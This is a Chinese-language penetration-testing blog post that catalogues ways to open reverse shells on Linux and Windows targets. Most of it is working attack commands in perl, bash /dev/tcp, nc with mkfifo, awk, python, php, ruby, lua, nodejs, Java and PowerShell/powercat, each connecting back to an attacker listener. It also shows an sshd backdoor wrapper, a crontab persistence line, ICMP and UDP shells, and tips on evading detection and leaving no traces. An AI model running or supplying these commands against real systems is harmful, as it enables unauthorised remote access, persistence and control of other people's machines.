1. 程式人生 > 其它 >關於Shell你想知道的都在這兒

關於Shell你想知道的都在這兒

0x01 前奏說明

很多時候,不到萬不得已的情況下,我們完全沒必要非往目標機器裡傳一堆工具,先不說由於各種防護[不僅僅是殺軟的問題],傳工具困難重重,有時由於自己的粗心,走的時候很容易把各種工具落在目標機器上,萬一哪天被人看見,一看工具就大概知道你上來都幹了啥,尤其是很多小夥伴在用別人工具時候也不愛做點兒什麼手腳,後果你自然是很懂的,嘿嘿……

其實,個人一直覺得,如果能利用目標系統自身的環境或者工具幫我們搞定的,最好就直接用那個,也省去了不少的麻煩,比如,最簡單的,利用目標系統中自帶的各種工具及語言環境幫我們彈回一個簡單的可互動shell, 有shell,’夫何求’, 沒錯,你肯定會說,不就一個shell嘛,我直接用 coablt strike & msf 豈不更好,嘿嘿……其實,這裡並不存在爭論的點,不錯,它倆確實挺好,不過,惡劣的環境總是有的,有時想把它倆用上確實比較費勁,好了,前戲就到此為止吧,下面我們就直奔主題……

0x02 大致環境

win7          192.168.1.128centos6.8     192.168.1.129win2008R2     192.168.1.131kali          192.168.1.147

0x03 關於linux平臺下彈shell的一些方式

利用perl的socket,也是個人比較推薦的方式,因為現今幾乎所有主流的linux發行版都已經裝好了perl,細心的你也許會發現很多大馬裡彈shell的選項中一般都會有perl,後面bash -i的意思就是執行一個可互動的shell

C:>nc -lvp 53# perl -e 'use Socket;$i="192.168.1.128";$p=53;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

利用系統特殊裝置檔案/dev/tcp[當然,有這種特性的檔案並不止這一個],語句的意思其實很簡單,通俗點兒講就是把bash的資料全部通過/dev/tcp建立的socket發過去,以此來達到反彈shell的效果

C:>nc -lvp 80# /bin/bash -i >& /dev/tcp/192.168.1.128/80 0>&1

利用sshd來反彈shell,ln -f的意思就是把原有的資料清空,整體語句的意思通俗點兒講,就是把sshd繫結在本地的8080埠上,這樣當別人從8080這個埠進來的時候就相當於直接進到本機的sshd中,-o就是去掉第一次ssh連線的那個金鑰對提示,像這種正向連,有個非常不好的地方,防火牆只要阻斷你這個埠的資料通訊就基本全廢掉了

第一種方式:

# netstat -tulnp | grep "8080"# ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8080;# netstat -tulnp | grep "8080"# ssh [email protected] -p 8080 一定要注意在自己本地機器上用這個埠去連# pkill su

第二種方式,注意這裡的socat連線的埠,預設是13377埠[當然是可以改的],關於socat,這裡就不多做介紹了,一個高階埠轉發工具,當然,並不只是轉發那麼簡單,想必小夥伴們也應該用的比較多了

# cd /usr/sbin/# mv sshd ../bin/# echo '#!/usr/bin/perl' >sshd# echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd# echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd# chmod u+x sshd# /etc/init.d/sshd restart# socat STDIO TCP4:192.168.1.129:22,sourceport=13377

利用最古老的nc來反彈,但預設正常發行版中預設帶的那個nc都是閹割版的,即沒有-e選項,也就意味著你並不能直接用它反彈shell,好在強大的linux為我們提供了一個建立管道的工具mkfifo和bash本身的各種管道特性,我們就可以利這種方式,把bash的資料通過管道反彈走

普通nc反彈

C:>nc -lvp 8080# rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.128 8080 >/tmp/f

加密版的netcat = ‘cryptcat’,可以設定連線密碼,用-k指定下即可,kali預設自帶,如果是目標機器,可能需要你自己手工編譯裝一下,實在不好意思,這個貌似忘記截圖了

# cryptcat -vv -l -p 25 -k sec# cryptcat -vv -l -p 80 -k sec# cryptcat 192.168.1.129 80 -k sec|cmd.exe|cryptcat 192.168.1.129 25 -k sec

利用awk或gawk來反彈shell,awk就不用多說了吧,linux文字處理三劍客的老大,語句的意思也非常簡單,就是迴圈發socket

# awk 'BEGIN{s="/inet/tcp/0/192.168.1.128/8080";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

利用系統自帶的telnet客戶端來反彈shell,一般運維預設都會把它裝上,不知道這種方式對windows是否好使,自己暫時還沒測過,有興趣的小夥伴可以測下

第一種

C:>nc -vlp 1080 命令結果顯示視窗C:>nc -lvp 8080 命令傳輸視窗# telnet 192.168.1.128 8080 | /bin/bash | telnet 192.168.1.128 1080

第二種

C:>nc -lvp 8080# mknod test p && telnet 192.168.1.128  8080 0<test | /bin/bash 1>test

利用py反彈shell,就像perl一樣,py在絕大多數發行版上都已經自帶,但預設版本都是2.6.6的,不過,對我們彈個shell來說,足矣,當然啦,這裡只是用最簡單的py的socket來反彈一個shell,關於其它各種更高階的py reverse_shell 這裡就先不說了

C:>nc -lvp 8080# python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.128",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

利用crontab定時反彈shell,很容被發現,臨時用用還行,至於裡面具體用什麼反彈,隨意,perl,py 都行,你願意,用完以後記得立馬刪掉

C:>nc -lvp 8080# (crontab -l;printf "* * * * *  /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.128",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'n")|crontab -# crontab -e

利用php的socket來反彈,對於php的網站,也許我們可以利用上,也是很多php大馬裡預設的反彈shell方式,當然,除了php指令碼,別的web後端指令碼其實都可以被利用,比如,jsp…

C:>nc -lvp 8080# /usr/local/php/bin/php -r '$sock=fsockopen("192.168.1.128",8080);exec("/bin/bash -i <&3 >&3 2>&3");'

如果目標機器上有java環境,那就更好了,直接用java來彈,效果一般還是非常好的,而且java的免殺效果也很不錯哦,把下面的程式碼打成jar包就可以了,記得打之前改下里面要反彈到的ip和埠

C:>nc -lvp 8080public class Revs {    /**    * @param args    * @throws Exception    */    public static void main(String[] args) throws Exception {        // TODO Auto-generated method stub        Runtime r = Runtime.getRuntime();        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.128/8080;cat <&5 | while read line; do $line 2>&5 >&5; done"};        Process p = r.exec(cmd);        p.waitFor();    }}

利用ruby的socket來反彈shell

C:>nc -lvp 8080# ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.1.128","8080");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

利用lua的socket來反彈shell

c:nc -lvp 8080# apt-get install lua50# apt-get install luarocks# luarocks install luasocket# lua -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.1.128','8080');os.execute('/bin/sh -i <&3 >&3 2>&3');"

利用nodejs反彈shell

C:>nc -lvp 8080(function(){    var net = require("net"),    cp = require("child_process"),    sh = cp.spawn("/bin/sh", []);    var client = new net.Socket();    client.connect(8080, "10.17.26.64", function(){        client.pipe(sh.stdin);        sh.stdout.pipe(client);        sh.stderr.pipe(client);    });    return /a/;})();

利用js配合rundll32.exe 來反彈shell

JsRat

c版的reverse_shell

C:>nc -lvp 8080# gcc c_revese_shell.c -o cshell# ./cshell 192.168.1.128 8080

利用gcc反彈shell

抱歉,暫時還未成功,待續....

0x04 基於不同協議下的shell反彈方式

利用icmp來反彈shell,需要你自己先編譯下,會生成兩個檔案,一個服務端[ishd],一個客戶端[ish],自己有興趣可以拿wireshark看下,通常用來穿透高層防火牆

# make linux# ./ishd -i 6555 -t 0 -p 8080# ./ish -i 6555 -t 0 -p 8080 192.168.1.129 [這裡的ip可以換成域名]

利用udp來反彈shell

C:>nc -l -p 53 -u     注意這裡務必要用udp的模式來接# python udpshell.py 192.168.1.128 53 udp

利用dns來反彈shell的方式,就不說了吧,詳情可自行參考cobalt strike,那可能是現今最好的dns隧道學習樣例

0x05 關於win平臺下的一些shell反彈方式

除了上面這些可以通用的語言反彈shell之外,可能最重要的就是powershell了,當然啦,如果你說vbs更好,那我也沒啥好說的了,畢竟自己平時遇到03以下的系統實在是太少了,可能以後也會越來越少,人總要向前看嘛

C:>nc -lvp 8080記得到腳本里面去把要反彈到的ip和埠改一下,另外,可能是因為cmd預設的字符集[gbk]所以才會亂碼,如果是英文系統就不會了# powershell –exec bypass –Command "& {Import-Module 'C:mini-reverse.ps1'}"同樣要記得去把腳本里要反彈到的ip和埠改成你自己的,這個格式化輸出寫的確實不怎麼好# powershell –exec bypass –Command "& {Import-Module 'C:minRev.ps1'}"

利用powercat來反彈shell,其實就是powershell版的netcat

首先,在本機建立好powershell版的reverse shell的payload,編碼處理的還是蠻不錯的PS C:> Set-ExecutionPolicy UnrestrictedPS C:> cd .powercatPS C:powercat> Import-Module .powercat.ps1PS C:powercat> powercat -c 192.168.1.128 -p 8080 -e cmd -g >> payload.ps1C:>nc -lvp 8080然後,把payload.ps1丟到目標機器上去執行# powershell –exec bypass –Command "& {Import-Module 'C:payload.ps1'}"

關於nishang和其它各種powershell工具包中的各種反彈shell的方式,篇幅限制,這裡就不一一說了,大家有興趣可以去關注我的部落格[klionsec.github.io],裡面很久之前應該寫過,可能比較粗糙,大家先將就看吧,後續我會抽空把部落格好好整理一下,有點兒亂……

我知道,基於這種思路,可以衍生出來的方法還有非常非常的多,有興趣大家可以一起研究,不可否認的是,雖然只是一個shell,但中間涉及到的東西依然是很值得學習的

0x06 一些小結

反彈的核心說白點其實就是和目標系統建立socket(如果中間[不管是正向還是反向]埠被防火牆阻斷了,那你可能就只能選擇複用或者直接走更底層的協議了,還是那句話,只是一個shell而已,方法已經有了,怎麼在實戰中按照自己的需求改進,可能才是你更需要思考的,我們都看到了,反彈的時候,程序會一直處於掛起狀態,實際中放到後臺跑就好了,另外,說實話,像這種基於tcp的shell,瞟一眼就發現了,最多可能只能在實際滲透中臨時用用……,相信我們最終想要的,還是基於這個出來的思路,而不是這些死技巧,自己平時確實很少發文章,主要目的還是想多跟大家一起學習交流進步, bon soir !